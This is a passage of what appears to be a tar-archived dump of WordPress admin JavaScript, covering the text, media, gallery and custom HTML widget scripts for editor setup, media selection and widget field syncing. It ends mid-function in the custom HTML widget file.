			} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
				control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
			textarea = control.fields.text;
			id = textarea.attr( 'id' );
			previousValue = textarea.val();

			/**
			 * Trigger change if dirty.
			 *
			 * @return {void}
			 */
			triggerChangeIfDirty = function() {
				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
				if ( control.editor.isDirty() ) {

					/*
					 * Account for race condition in customizer where user clicks Save & Publish while
					 * focus was just previously given to the editor. Since updates to the editor
					 * are debounced at 1 second and since widget input changes are only synced to
					 * settings after 250ms, the customizer needs to be put into the processing
					 * state during the time between the change event is triggered and updateWidget
					 * logic starts. Note that the debounced update-widget request should be able
					 * to be removed with the removal of the update-widget request entirely once
					 * widgets are able to mutate their own instance props directly in JS without
					 * having to make server round-trips to call the respective WP_Widget::update()
					 * callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
					 */
					if ( wp.customize && wp.customize.state ) {
						wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
						_.delay( function() {
							wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
						}, updateWidgetBuffer );
					}

					if ( ! control.editor.isHidden() ) {
						control.editor.save();
					}
				}

				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
				if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
					textarea.trigger( 'change' );
					needsTextareaChangeTrigger = false;
					previousValue = textarea.val();
				}
			};

			// Just-in-time force-update the hidden input fields.
			control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
				triggerChangeIfDirty();
			});

			/**
			 * Build (or re-build) the visual editor.
			 *
			 * @return {void}
			 */
			function buildEditor() {
				var editor, onInit, showPointerElement;

				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
				if ( ! document.getElementById( id ) ) {
					return;
				}

				// The user has disabled TinyMCE.
				if ( typeof window.tinymce === 'undefined' ) {
					wp.oldEditor.initialize( id, {
						quicktags: true,
						mediaButtons: true
					});

					return;
				}

				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
				if ( tinymce.get( id ) ) {
					restoreTextMode = tinymce.get( id ).isHidden();
					wp.oldEditor.remove( id );
				}

				// Add or enable the `wpview` plugin.
				$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
					// If somebody has removed all plugins, they must have a good reason.
					// Keep it that way.
					if ( ! init.plugins ) {
						return;
					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
						init.plugins += ',wpview';
					}
				} );

				wp.oldEditor.initialize( id, {
					tinymce: {
						wpautop: true
					},
					quicktags: true,
					mediaButtons: true
				});

				/**
				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
				 *
				 * @param {jQuery} pointerElement Pointer element.
				 * @return {void}
				 */
				showPointerElement = function( pointerElement ) {
					pointerElement.show();
					pointerElement.find( '.close' ).trigger( 'focus' );
					wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
						return $( this ).text();
					} ).get().join( '\n\n' ) );
				};

				editor = window.tinymce.get( id );
				if ( ! editor ) {
					throw new Error( 'Failed to initialize editor' );
				}
				onInit = function() {

					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
					$( editor.getWin() ).on( 'pagehide', function() {
						_.defer( buildEditor );
					});

					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
					if ( restoreTextMode ) {
						switchEditors.go( id, 'html' );
					}

					// Show the pointer.
					$( '#' + id + '-html' ).on( 'click', function() {
						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.

						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
							return;
						}
						showPointerElement( control.customHtmlWidgetPointer );
					});

					// Hide the pointer when switching tabs.
					$( '#' + id + '-tmce' ).on( 'click', function() {
						control.customHtmlWidgetPointer.hide();
					});

					// Show pointer when pasting HTML.
					editor.on( 'pastepreprocess', function( event ) {
						var content = event.content;
						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /&lt;\w+.*?&gt;/.test( content ) ) {
							return;
						}

						// Show the pointer after a slight delay so the user sees what they pasted.
						_.delay( function() {
							showPointerElement( control.pasteHtmlPointer );
						}, 250 );
					});
				};

				if ( editor.initialized ) {
					onInit();
				} else {
					editor.on( 'init', onInit );
				}

				control.editorFocused = false;

				editor.on( 'focus', function onEditorFocus() {
					control.editorFocused = true;
				});
				editor.on( 'paste', function onEditorPaste() {
					editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
					triggerChangeIfDirty();
				});
				editor.on( 'NodeChange', function onNodeChange() {
					needsTextareaChangeTrigger = true;
				});
				editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
				editor.on( 'blur hide', function onEditorBlur() {
					control.editorFocused = false;
					triggerChangeIfDirty();
				});

				control.editor = editor;
			}

			buildEditor();
		}
	});

	/**
	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @type {Object.<string, wp.textWidgets.TextWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and an iframe can be embedded
		 * with TinyMCE being able to set contenteditable on it.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			component.setupAccessibleMode();
		});
	};

	return component;
})( jQuery );
widgets/media-widgets.min.js000064400000033624150276633110012071 0ustar00/*! This file is auto-generated */
wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('<div class="media-widget-embed-notice notice notice-error notice-alt"></div>')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("<p>",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0<i.length&&(t=i),this.states.add([new m.PersistentDisplaySettingsLibrary({id:"insert",title:this.options.title,selection:this.options.selection,priority:20,toolbar:"main-insert",filterable:"dates",library:wp.media.query({type:t}),multiple:!1,editable:!0,selectedDisplaySettings:this.options.selectedDisplaySettings,displaySettings:!!_.isUndefined(this.options.showDisplaySettings)||this.options.showDisplaySettings,displayUserSettings:!1}),new wp.media.controller.EditImage({model:this.options.editImage}),new wp.media.controller.Embed({metadata:this.options.metadata,type:"image"===this.options.mimeType?"image":"link",invalidEmbedTypeError:this.options.invalidEmbedTypeError})])},mainInsertToolbar:function(e){var i=this;e.set("insert",{style:"primary",priority:80,text:i.options.text,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this,text:this.options.text,event:"insert"})},embedContent:function(){var e=new m.MediaEmbedView({controller:this,model:this.state()}).render();this.content.set(e)}}),m.MediaWidgetControl=Backbone.View.extend({l10n:{add_to_widget:"{{add_to_widget}}",add_media:"{{add_media}}"},id_base:"",mime_type:"",events:{"click .notice-missing-attachment a":"handleMediaLibraryLinkClick","click .select-media":"selectMedia","click .placeholder":"selectMedia","click .edit-media":"editMedia"},showDisplaySettings:!0,initialize:function(e){var i=this;if(Backbone.View.prototype.initialize.call(i,e),!(i.model instanceof m.MediaWidgetModel))throw new Error("Missing options.model");if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");if(i.syncContainer=e.syncContainer,i.$el.addClass("media-widget-control"),_.bindAll(i,"syncModelToInputs","render","updateSelectedAttachment","renderPreview"),!i.id_base&&(_.find(m.controlConstructors,function(e,t){return i instanceof e&&(i.id_base=t,!0)}),!i.id_base))throw new Error("Missing id_base.");i.previewTemplateProps=new Backbone.Model(i.mapModelToPreviewTemplateProps()),i.selectedAttachment=new wp.media.model.Attachment,i.renderPreview=_.debounce(i.renderPreview),i.listenTo(i.previewTemplateProps,"change",i.renderPreview),i.model.on("change:attachment_id",i.updateSelectedAttachment),i.model.on("change:url",i.updateSelectedAttachment),i.updateSelectedAttachment(),i.listenTo(i.model,"change",i.syncModelToInputs),i.listenTo(i.model,"change",i.syncModelToPreviewProps),i.listenTo(i.model,"change",i.render),i.$el.on("input change",".title",function(){i.model.set({title:c(this).val().trim()})}),i.$el.on("input change",".link",function(){var e=c(this).val().trim(),t="custom";i.selectedAttachment.get("linkUrl")===e||i.selectedAttachment.get("link")===e?t="post":i.selectedAttachment.get("url")===e&&(t="file"),i.model.set({link_url:e,link_type:t}),i.displaySettings.set({link:t,linkUrl:e})}),i.displaySettings=new Backbone.Model(_.pick(i.mapModelToMediaFrameProps(_.extend(i.model.defaults(),i.model.toJSON())),_.keys(wp.media.view.settings.defaultProps)))},updateSelectedAttachment:function(){var e,t=this;0===t.model.get("attachment_id")?(t.selectedAttachment.clear(),t.model.set("error",!1)):t.model.get("attachment_id")!==t.selectedAttachment.get("id")&&(e=new wp.media.model.Attachment({id:t.model.get("attachment_id")})).fetch().done(function(){t.model.set("error",!1),t.selectedAttachment.set(e.toJSON())}).fail(function(){t.model.set("error","missing_attachment")})},syncModelToPreviewProps:function(){this.previewTemplateProps.set(this.mapModelToPreviewTemplateProps())},syncModelToInputs:function(){var n=this;n.syncContainer.find(".media-widget-instance-property").each(function(){var e=c(this),t=e.data("property"),i=n.model.get(t);_.isUndefined(i)||(i="array"===n.model.schema[t].type&&_.isArray(i)?i.join(","):"boolean"===n.model.schema[t].type?i?"1":"":String(i),e.val()!==i&&(e.val(i),e.trigger("change")))})},template:function(){if(c("#tmpl-widget-media-"+this.id_base+"-control").length)return wp.template("widget-media-"+this.id_base+"-control");throw new Error("Missing widget control template for "+this.id_base)},render:function(){var e,t=this;t.templateRendered||(t.$el.html(t.template()(t.model.toJSON())),t.renderPreview(),t.templateRendered=!0),(e=t.$el.find(".title")).is(document.activeElement)||e.val(t.model.get("title")),t.$el.toggleClass("selected",t.isSelected())},renderPreview:function(){throw new Error("renderPreview must be implemented")},isSelected:function(){return!this.model.get("error")&&Boolean(this.model.get("attachment_id")||this.model.get("url"))},handleMediaLibraryLinkClick:function(e){e.preventDefault(),this.selectMedia()},selectMedia:function(){var i,t,e,n=this,d=[];n.isSelected()&&0!==n.model.get("attachment_id")&&d.push(n.selectedAttachment),d=new wp.media.model.Selection(d,{multiple:!1}),(e=n.mapModelToMediaFrameProps(n.model.toJSON())).size&&n.displaySettings.set("size",e.size),i=new m.MediaFrameSelect({title:n.l10n.add_media,frame:"post",text:n.l10n.add_to_widget,selection:d,mimeType:n.mime_type,selectedDisplaySettings:n.displaySettings,showDisplaySettings:n.showDisplaySettings,metadata:e,state:n.isSelected()&&0===n.model.get("attachment_id")?"embed":"insert",invalidEmbedTypeError:n.l10n.unsupported_file_type}),(wp.media.frame=i).on("insert",function(){var e={},t=i.state();"embed"===t.get("id")?_.extend(e,{id:0},t.props.toJSON()):_.extend(e,t.get("selection").first().toJSON()),n.selectedAttachment.set(e),n.model.set("error",!1),n.model.set(n.getModelPropsFromMediaFrame(i))}),t=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(e){return"delete"===e?t.apply(this,arguments):c.Deferred().rejectWith(this).promise()},i.on("close",function(){wp.media.model.Attachment.prototype.sync=t}),i.$el.addClass("media-widget"),i.open(),d&&d.on("destroy",function(e){n.model.get("attachment_id")===e.get("id")&&n.model.set({attachment_id:0,url:""})}),i.$el.find(".media-frame-menu .media-menu-item.active").focus()},getModelPropsFromMediaFrame:function(e){var t,i,n=this,d=e.state();if("insert"===d.get("id"))(t=d.get("selection").first().toJSON()).postUrl=t.link,n.showDisplaySettings&&_.extend(t,e.content.get(".attachments-browser").sidebar.get("display").model.toJSON()),t.sizes&&t.size&&t.sizes[t.size]&&(t.url=t.sizes[t.size].url);else{if("embed"!==d.get("id"))throw new Error("Unexpected state: "+d.get("id"));t=_.extend(d.props.toJSON(),{attachment_id:0},n.model.getEmbedResetProps())}return t.id&&(t.attachment_id=t.id),i=n.mapMediaToModelProps(t),_.each(wp.media.view.settings.embedExts,function(e){e in n.model.schema&&i.url!==i[e]&&(i[e]="")}),i},mapMediaToModelProps:function(e){var t,i=this,n={},d={};return _.each(i.model.schema,function(e,t){"title"!==t&&(n[e.media_prop||t]=t)}),_.each(e,function(e,t){t=n[t]||t;i.model.schema[t]&&(d[t]=e)}),"custom"===e.size&&(d.width=e.customWidth,d.height=e.customHeight),"post"===e.link?d.link_url=e.postUrl||e.linkUrl:"file"===e.link&&(d.link_url=e.url),!e.attachment_id&&e.id&&(d.attachment_id=e.id),e.url&&(t=e.url.replace(/#.*$/,"").replace(/\?.*$/,"").split(".").pop().toLowerCase())in i.model.schema&&(d[t]=e.url),_.omit(d,"title")},mapModelToMediaFrameProps:function(e){var n=this,d={};return _.each(e,function(e,t){var i=n.model.schema[t]||{};d[i.media_prop||t]=e}),d.attachment_id=d.id,"custom"===d.size&&(d.customWidth=n.model.get("width"),d.customHeight=n.model.get("height")),d},mapModelToPreviewTemplateProps:function(){var i=this,n={};return _.each(i.model.schema,function(e,t){e.hasOwnProperty("should_preview_update")&&!e.should_preview_update||(n[t]=i.model.get(t))}),n.error=i.model.get("error"),n},editMedia:function(){throw new Error("editMedia not implemented")}}),m.MediaWidgetModel=Backbone.Model.extend({idAttribute:"widget_id",schema:{title:{type:"string",default:""},attachment_id:{type:"integer",default:0},url:{type:"string",default:""}},defaults:function(){var i={};return _.each(this.schema,function(e,t){i[t]=e.default}),i},set:function(e,t,i){var n,d,o=this;return null===e?o:(e="object"==typeof e?(n=e,t):((n={})[e]=t,i),d={},_.each(n,function(e,t){var i;o.schema[t]?"array"===(i=o.schema[t].type)?(d[t]=e,_.isArray(d[t])||(d[t]=d[t].split(/,/)),o.schema[t].items&&"integer"===o.schema[t].items.type&&(d[t]=_.filter(_.map(d[t],function(e){return parseInt(e,10)},function(e){return"number"==typeof e})))):d[t]="integer"===i?parseInt(e,10):"boolean"===i?!(!e||"0"===e||"false"===e):e:d[t]=e}),Backbone.Model.prototype.set.call(this,d,e))},getEmbedResetProps:function(){return{id:0}}}),m.modelCollection=new(Backbone.Collection.extend({model:m.MediaWidgetModel})),m.widgetControls={},m.handleWidgetAdded=function(e,t){var i,n,d,o,a,s,r=t.find("> .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("<div></div>"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("<div></div>"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery);widgets/media-gallery-widget.min.js000064400000007266150276633110013346 0ustar00/*! This file is auto-generated */
!function(i){"use strict";var a=wp.media.view.MediaFrame.Post.extend({createStates:function(){this.states.add([new wp.media.controller.Library({id:"gallery",title:wp.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!0,library:wp.media.query(_.defaults({type:"image"},this.options.library))}),new wp.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd])}}),e=i.MediaWidgetModel.extend({}),t=i.MediaWidgetControl.extend({events:_.extend({},i.MediaWidgetControl.prototype.events,{"click .media-widget-gallery-preview":"editMedia"}),initialize:function(e){var t=this;i.MediaWidgetControl.prototype.initialize.call(t,e),_.bindAll(t,"updateSelectedAttachments","handleAttachmentDestroy"),t.selectedAttachments=new wp.media.model.Attachments,t.model.on("change:ids",t.updateSelectedAttachments),t.selectedAttachments.on("change",t.renderPreview),t.selectedAttachments.on("reset",t.renderPreview),t.updateSelectedAttachments(),wp.customize&&wp.customize.previewer&&t.selectedAttachments.on("change",function(){wp.customize.previewer.send("refresh-widget-partial",t.model.get("widget_id"))})},updateSelectedAttachments:function(){var e,t=this,i=t.model.get("ids"),d=_.pluck(t.selectedAttachments.models,"id"),a=_.difference(d,i);_.each(a,function(e){t.selectedAttachments.remove(t.selectedAttachments.get(e))}),_.difference(i,d).length&&(e=wp.media.query({order:"ASC",orderby:"post__in",perPage:-1,post__in:i,query:!0,type:"image"})).more().done(function(){t.selectedAttachments.reset(e.models)})},renderPreview:function(){var e=this,t=e.$el.find(".media-widget-preview"),i=wp.template("wp-media-widget-gallery-preview"),d=e.previewTemplateProps.toJSON();d.attachments={},e.selectedAttachments.each(function(e){d.attachments[e.id]=e.toJSON()}),t.html(i(d))},isSelected:function(){return!this.model.get("error")&&0<this.model.get("ids").length},editMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());e.gallery=new Backbone.Model(t),t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"manage",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,editing:!0,multiple:!0,state:"gallery-edit"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy)},selectMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"select",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,state:"gallery"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy),i.$el.find(":focusable:first").focus()},handleAttachmentDestroy:function(e){this.model.set({ids:_.difference(this.model.get("ids"),[e.id])})}});i.controlConstructors.media_gallery=t,i.modelConstructors.media_gallery=e}(wp.mediaWidgets);widgets/custom-html-widgets.min.js000064400000012701150276633110013257 0ustar00/*! This file is auto-generated */
wp.customHtmlWidgets=function(a){"use strict";var s={idBases:["custom_html"],codeEditorSettings:{},l10n:{errorNotice:{singular:"",plural:""}}};return s.CustomHtmlWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.widgetIdBase=n.syncContainer.parent().find(".id_base").val(),n.widgetNumber=n.syncContainer.parent().find(".widget_number").val(),n.customizeSettingId="widget_"+n.widgetIdBase+"["+String(n.widgetNumber)+"]",n.$el.addClass("custom-html-widget-fields"),n.$el.html(wp.template("widget-custom-html-control-fields")({codeEditorDisabled:s.codeEditorSettings.disabled})),n.errorNoticeContainer=n.$el.find(".code-editor-error-container"),n.currentErrorAnnotations=[],n.saveButton=n.syncContainer.add(n.syncContainer.parent().find(".widget-control-actions")).find(".widget-control-save, #savewidget"),n.saveButton.addClass("custom-html-widget-save-button"),n.fields={title:n.$el.find(".title"),content:n.$el.find(".content")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),t.contentUpdateBypassed=t.fields.content.is(document.activeElement)||t.editor&&t.editor.codemirror.state.focused||0!==t.currentErrorAnnotations.length,t.contentUpdateBypassed||(e=t.syncContainer.find(".sync-input.content"),t.fields.content.val(e.val()))},updateErrorNotice:function(e){var 